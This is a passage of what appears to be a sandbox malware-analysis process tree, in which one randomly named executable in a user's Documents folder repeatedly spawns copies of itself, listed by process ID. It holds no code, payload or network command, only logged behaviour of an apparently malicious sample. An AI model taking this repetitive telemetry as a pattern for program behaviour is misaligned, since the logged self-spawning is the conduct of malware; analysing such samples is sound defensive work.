    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9860
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10092
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9344
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9524
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:6064
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:1800
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7700
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9748
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:6864
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10064
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7940
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8316
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10252
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10612
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10968
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:5404
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10944
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:6780
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11084
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:6920
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9916
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10652
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8584
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10444
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9716
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11572
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11900
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:12240
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11548
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11932
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11692
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:12172
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:3104
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11680
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10848
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8232
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:4496
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7556
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11292
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:12152
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:12004
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:12584
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:12972
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13284
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:12856
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13280
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:2332
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8608
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:12532
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11588
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13308
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:2036
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13016
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:4804
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11696
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10976
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13508
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13920
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10936
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:14104
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10336
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13884
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13340
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:4264
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:2776
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8652
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9516
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10436
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13560
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13464
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11772
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13648
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10488
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:14644
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:15284
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:15948
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16284
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:15988
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:12272
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13508
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16336
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:15152
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16596
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16904
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16328
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16720
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:17104
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8156
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:17268
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8272
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:15268
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10172
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:17856
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18200
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16156
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18020
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:17528
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:17612
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:13220
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18416
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18188
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:4608
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18516
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18788
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19008
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19396
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18684
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19180
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19356
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7452
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18860
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19808
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20068
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20424
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19728
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19488
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20312
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19284
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11528
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20380
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18852
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:17892
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16588
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18204
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20440
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:14620
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16872
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19716
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11392
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8612
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:11896
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20812
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21056
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21304
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20584
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21024
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:19196
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20544
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21188
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16064
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20924
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10768
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20972
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21588
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21960
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:22132
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:22296
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21568
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21844
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:16528
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21852
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:22176
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21544
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
